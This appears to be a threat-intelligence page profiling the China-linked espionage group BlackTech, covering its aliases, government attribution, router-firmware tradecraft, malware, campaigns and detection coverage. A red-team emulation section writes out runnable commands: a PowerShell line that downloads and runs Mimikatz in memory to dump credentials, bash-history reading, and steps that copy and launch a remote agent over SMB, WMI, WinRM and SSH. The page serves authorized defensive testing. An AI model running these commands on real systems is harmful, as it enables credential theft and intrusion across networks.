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Threat Actor

BlackTech

blacktech · china · active since 2007

BlackTech (Palmerworm / HUAPI / Earth Hundun / Circuit Panda / G0098) is a China-aligned cyber-espionage cluster active since 2007 and formally attributed to "PRC state-sponsored" actors by joint US/Japanese government Cybersecurity Advisory AA23-270A (NSA, CISA, FBI, Japan NPA, Japan NISC, September 2023), responsible for sustained Taiwan and Japan-focused operations against government, defense industrial base, semiconductor, telecommunications, and engineering targets, distinguished operationally by the signature tradecraft of compromising US-based subsidiaries of Japanese parent corporations as access pivots and by the seminal AA23-270A-documented capability of installing custom backdoored Cisco router firmware images at subsidiary network boundaries to provide persistent long-dwell network-edge pivot capability, alongside a Windows toolkit anchored on Plead, TSCookie, Flagpro, BendyBear polymorphic shellcode, Waterbear, and the recent SuperBPF eBPF-based Linux backdoor.

china confidence: high 24 aliases MITRE ATT&CK G0098 ↗

Profile

BlackTech (also tracked as Palmerworm, HUAPI, T-APT-03, Circuit Panda, Radio Panda, Manga Taurus, Earth Hundun [Trend Micro newer naming], and MITRE ATT&CK G0098) is a China-aligned cyber- espionage cluster active since at least 2007 and formally attributed to People's Republic of China state-sponsored actors by joint US/Japanese government advisory AA23-270A "People's Republic of China-Linked Cyber Actors Hide in Router Firmware" (NSA, CISA, FBI, Japanese NPA, Japanese NISC, September 27, 2023). The formal government attribution at the "PRC state-sponsored" level is high-confidence.

attribution to a specific MSS bureau or PLA unit has not been published, distinguishing the cluster from APT1, APT3, APT10, APT31, APT41, and RedFoxtrot which carry contractor-or-unit-level formal attribution. The cluster operated under fragmented vendor naming for nearly a decade before Trend Micro's June 2017 "Following the Trail of BlackTech's Cyber Espionage Campaigns" consolidating disclosure established the "BlackTech" cluster identity. The earlier Plead, Shrouded Crossbow, Waterbear, and HUAPI vendor naming streams were retroactively unified under BlackTech. Targeting focus has remained consistently anchored on Taiwan and Japan, with sustained operations against government, military, defense industrial base, technology (semiconductors heavily), telecommunications, media, and engineering targets in both countries. A distinctive cluster tradecraft signature is the compromise of US-based subsidiaries of Japanese parent corporations as access pivots toward the Japanese parent networks, exploiting the trust relationships between subsidiary and parent network environments to bypass stronger parent-network perimeter controls. BlackTech's most operationally consequential modern tradecraft element is the cluster's compromise of Cisco router firmware at subsidiary network boundaries. AA23-270A documented the cluster installing custom backdoored firmware images on Cisco routers, modifying Cisco IOS bootloader behavior to bypass code-signing enforcement, and using the resulting persistent network-edge access to pivot between subsidiary and parent networks. The tradecraft demonstrates sustained capability for network-equipment firmware modification, a meaningfully higher tradecraft tier than the more commonly-observed configuration-file modification and a tradecraft category previously associated primarily with Equation Group and a small handful of top-tier state-aligned operators. The AA23-270A disclosure was the seminal recent attribution event for the cluster and substantially raised the assessed sophistication tier of BlackTech in public reporting. Beyond network-equipment firmware compromise the cluster operates a comparatively diverse Windows toolkit centered on the Plead implant (the signature .NET-based RAT that gave the earliest vendor tracking its name), TSCookie / TSCookieRAT, Flagpro (lightweight Windows backdoor disclosed by NTT Security and JPCERT in 2021), the polymorphic BendyBear shellcode (Cycraft November 2020 disclosure, with Palo Alto Networks Unit 42 corroborating February 2021), Waterbear auxiliary tooling, PoisonPlug, Bifrose/KIVARS legacy implants, and the recent SuperBPF eBPF-based Linux backdoor (2024 disclosure). The cluster has demonstrated supply-chain compromise capability, most prominently via abuse of the ASUS WebStorage update mechanism to deliver Plead implants in 2019 (ESET disclosure), alongside more conventional spear-phishing and watering-hole initial-access tradecraft. A handful of operational notes: First, the "Plead" implant name has been used by multiple distinct malware families across different actor clusters. The Plead implant specifically associated with BlackTech is operationally distinct from other Plead-named malware. Treat cluster attribution based on Plead-name alone as preliminary.

cluster-level operational signatures (infrastructure, victimology, surrounding tooling) remain the more reliable attribution indicators. Second, the cluster's vendor-naming proliferation (BlackTech / Palmerworm / HUAPI / Circuit Panda / Radio Panda / Manga Taurus / Earth Hundun) reflects more than a decade of fragmented pre- consolidation vendor tracking rather than separate operational sub-clusters. Modern reporting should default to "BlackTech" as the canonical name. Third, attribution to MSS specifically, though dominant in vendor reporting, has not been confirmed by formal US or Japanese government attribution beyond the "PRC state-sponsored" framing of AA23-270A. Treat the MSS-tasking framing as suspected.

Aliases

24
blacktechblack techblack_techpalmerwormhuapihua pihua_pit-apt-03t_apt_03tapt03circuit pandacircuit_pandaradio pandaradio_pandamanga taurusmanga_taurusearth hundunearth_hundunplead overlapshrouded crossbow overlapwaterbear overlapg0098atk 41atk41

Adversary Emulation Plan

13 steps
Runnable Caldera emulation profile Worm - Move laterally any way possible. Ordered along the attack lifecycle; each step maps to an ATT&CK technique with a concrete executor command. For authorized red-team / purple-team exercises only.
0 collection T1005 · Data from Local System darwin, linux
Parse SSH config
pip install stormssh && storm list
1 credential-access T1552.003 · Unsecured Credentials: Bash History darwin, linux
Dump history
find ~/.bash_sessions -name '*' -exec cat {} \; 2>/dev/null
2 discovery T1135 · Network Share Discovery windows
View admin shares
Get-SmbShare | ConvertTo-Json
3 discovery T1018 · Remote System Discovery darwin, linux, windows
Collect ARP details
arp -a
Run PowerKatz
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $True };
$web = (New-Object System.Net.WebClient);
$result = $web.DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/4c7a2016fc7931cd37273c5d8e17b16d959867b3/Exfiltration/Invoke-Mimikatz.ps1");
iex $result; Invoke-Mimikatz -DumpCreds
5 discovery T1018 · Remote System Discovery windows
Find Hostname
nbtstat -A #{remote.host.ip}
6 discovery T1018 · Remote System Discovery windows
Reverse nslookup IP
nslookup #{remote.host.ip}
Mount Share
net use \\#{remote.host.fqdn}\C$ /user:#{domain.user.name} #{domain.user.password}
Copy 54ndc47 (SMB)
$path = "sandcat.go-windows";
$drive = "\\#{remote.host.fqdn}\C$";
Copy-Item -v -Path $path -Destination $drive"\Users\Public\s4ndc4t.exe";
9 lateral-movement T1570 · Lateral Tool Transfer windows, darwin, linux
Copy 54ndc47 (WinRM and SCP)
$job = Start-Job -ScriptBlock {
  $username = "#{domain.user.name}";
  $password = "#{domain.user.password}";
  $secstr = New-Object -TypeName System.Security.SecureString;
  $password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)};
  $cred = New-Object -Typename System.Management.Automation.PSCredential -Argumentlist $username, $secstr;
  $session = New-PSSession -ComputerName "#{remote.host.name}" -Credential $cred;
  $location = "#{location}";
  $exe = "#{exe_name}";
  Copy-Item $location -Destination "C:\Users\Public\svchost.exe" -ToSession $session;
  Start-Sleep -s 5;
  Remove-PSSession -Session $session;
};
Receive-Job -Job $job -Wait;
Start 54ndc47 (WMI)
$node = '''#{remote.host.fqdn}''';
$user = '''#{domain.user.name}''';
$password = '''#{domain.user.password}''';
wmic /node:$node /user:$user /password:$password process call create "powershell.exe C:\Users\Public\s4ndc4t.exe -server #{server} -group #{group}";
Start Agent (WinRM)
$username = "#{domain.user.name}";
$password = "#{domain.user.password}";
$secstr = New-Object -TypeName System.Security.SecureString;
$password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)};
$cred = New-Object -Typename System.Management.Automation.PSCredential -Argumentlist $username, $secstr;
$session = New-PSSession -ComputerName #{remote.host.name} -Credential $cred;
Invoke-Command -Session $session -ScriptBlock{start-job -scriptblock{cmd.exe /c start C:\Users\Public\svchost.exe -server #{server} }};
Start-Sleep -s 5;
Remove-PSSession -Session $session;
12 lateral-movement T1021.004 · Remote Services: SSH darwin, linux
Start 54ndc47
scp -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=3 sandcat.go-darwin #{remote.ssh.cmd}:~/sandcat.go &&
ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=3 #{remote.ssh.cmd} 'nohup ./sandcat.go -server #{server} -group red 1>/dev/null 2>/dev/null &'

Notable Campaigns

9
2024-2025Continued Operations (2024-2025)
2024SuperBPF Linux Backdoor Disclosure (2024)
2023NSA/CISA/FBI/Japan NPA/NISC AA23-270A Joint Advisory (September 27, 2023)
2022-2023Cisco Router Firmware Implant Operations (2022-2023)
2021-2022Flagpro and Continued Japan Targeting (2021-2022)
2020Cycraft: BendyBear Shellcode Disclosure (November 2020)
2019ASUS WebStorage Supply-Chain Abuse for Plead Delivery (ESET, 2019)
2017Trend Micro: Following the Trail of BlackTech's Cyber Espionage Campaigns (June 2017)
2007-2017Pre-Consolidation Taiwan-Focused Operations (2007-2017)

Attribution & Reporting

Attributed by
US National Security Agency (NSA)US Cybersecurity and Infrastructure Security Agency (CISA)US Federal Bureau of Investigation (FBI)Japanese National Police Agency (NPA)Japanese National Center of Incident Readiness and Strategy for Cybersecurity (NISC)JPCERT/CCTrend MicroCycraftESETSymantecMandiant / FireEyeCrowdStrikeMicrosoftKasperskyCisco TalosSentinelOneRecorded Future Insikt GroupGroup-IBCluster25PWC
Key reporting
reportTrend Micro: Following the Trail of BlackTech's Cyber Espionage Campaigns (June 2017), seminal cluster consolidation
reportESET: Plead Malware Distributed via ASUS WebStorage (May 2019)
reportCycraft: BendyBear, Novel Chinese Shellcode Linked with Cyber Espionage Campaign (November 2020)
reportPalo Alto Networks Unit 42: BendyBear Shellcode Linked to BlackTech (February 2021)
reportSymantec: Palmerworm, BlackTech Targets Taiwan, Japan, Hong Kong, and US (September 2020)
reportNTT Security: Flagpro and BlackTech Continued Japan Targeting (2021)
reportJPCERT/CC: BlackTech Activity Alert (multiple years, Japanese-language)
reportMacnica: Trend Analysis of Targeted Attacks Aimed at Japanese Organizations (2018)
reportTrend Micro: Earth Hundun (BlackTech) Targeting Asia-Pacific (September 2023)
reportNSA / CISA / FBI / Japan NPA / Japan NISC Joint Cybersecurity Advisory AA23-270A: People's Republic of China-Linked Cyber Actors Hide in Router Firmware (September 27, 2023), seminal formal attribution
reportSekoia: BlackTech Targeting Taiwan and Japan (2024)
reportESET / Trend Micro: SuperBPF Linux Backdoor Attribution to BlackTech (2024)
reportMandiant: BlackTech Cisco Router Firmware Implant Analysis (2023)
reportMalpedia Actor Profile: BlackTech
reportMITRE ATT&CK Group G0098, BlackTech

Operational

State sponsor

China, assessed as People's Republic of China state-sponsored cyber actor by formal US and Japanese government joint advisory. On 27 September 2023 the US National Security Agency (NSA), US Cybersecurity and Infrastructure Security Agency (CISA), US Federal Bureau of Investigation (FBI), Japanese National Police Agency (NPA), and Japanese National Center of Incident Readiness and Strategy for Cybersecurity (NISC) issued joint advisory AA23-270A "People's Republic of China-Linked Cyber Actors Hide in Router Firmware," explicitly attributing BlackTech operations to "PRC state-sponsored" actors. The advisory documented BlackTech's compromise of Cisco router firmware against US and Japanese subsidiaries and their parent corporations as a primary access-pivot tradecraft.

This represents a high-confidence formal US/Japanese government attribution at the "PRC-state" level, though not at the specific MSS-bureau or PLA-unit level (unlike APT1/APT3/APT10/APT31/APT41 where formal contractor-or-unit-level attribution has been published via DOJ indictment). Vendor research consensus across Trend Micro, Cycraft, ESET, Symantec, Mandiant, JPCERT, and others has maintained the PRC-state-aligned framing since at least 2017, with most reporting suggesting MSS tasking.

Motivations
espionage, intelligence_gathering, economic_espionage, intellectual_property_theft, geopolitical_collection, supply_chain_compromise, infrastructure_pivoting
Sectors
Regions

Detection Blind Spots

60 techniques
Across this actor’s 60 mapped techniques, the share covered by each detection layer. Low bars are where you’d be blind if this actor targeted you.
Behavioral / log (Sigma)57/60 · 95%
Analytics (MITRE CAR)30/60 · 50%
Runtime / container (Falco)6/60 · 10%
File / malware (YARA)0/60 · 0%
Network (Suricata/Snort)15/60 · 25%
Vuln scan (Nuclei)0/60 · 0%

Atomic Test Plan

30 techniques
Runnable Atomic Red Team tests covering this actor’s mapped techniques - validate your detections against this specific adversary. Cross-reference the blind spots above. For authorized lab / purple-team use. Open the full builder

Tools Used

2 mapped
Other tooling / TTPs (curation, not ATT&CK-mapped):
MODIFIED CISCO IOSMSHTASPIDER RATSPIDERRATSUPER BPFSUPERBPF
Intelligence Graph · click any node to traverse
CVETechnique ActorTool Family
drag to reposition · click any node to traverse · button top-right enlarges
External lookups - second-class, for what we don’t hold ourselves
Vulnerabilities
CISA KEV catalog
CWE weaknesses
CAPEC attack patterns
Package vulnerabilities
Threat intelligence
Threat actors
Tools & malware
ATT&CK techniques
IOCs
Detection & defense
Sigma rules
YARA rules
Atomic Red Team tests
D3FEND countermeasures
Compliance
NIST 800-53
ISO 27001:2022
SOC 2 TSC
PCI-DSS v4.0
CIS Controls v8.1
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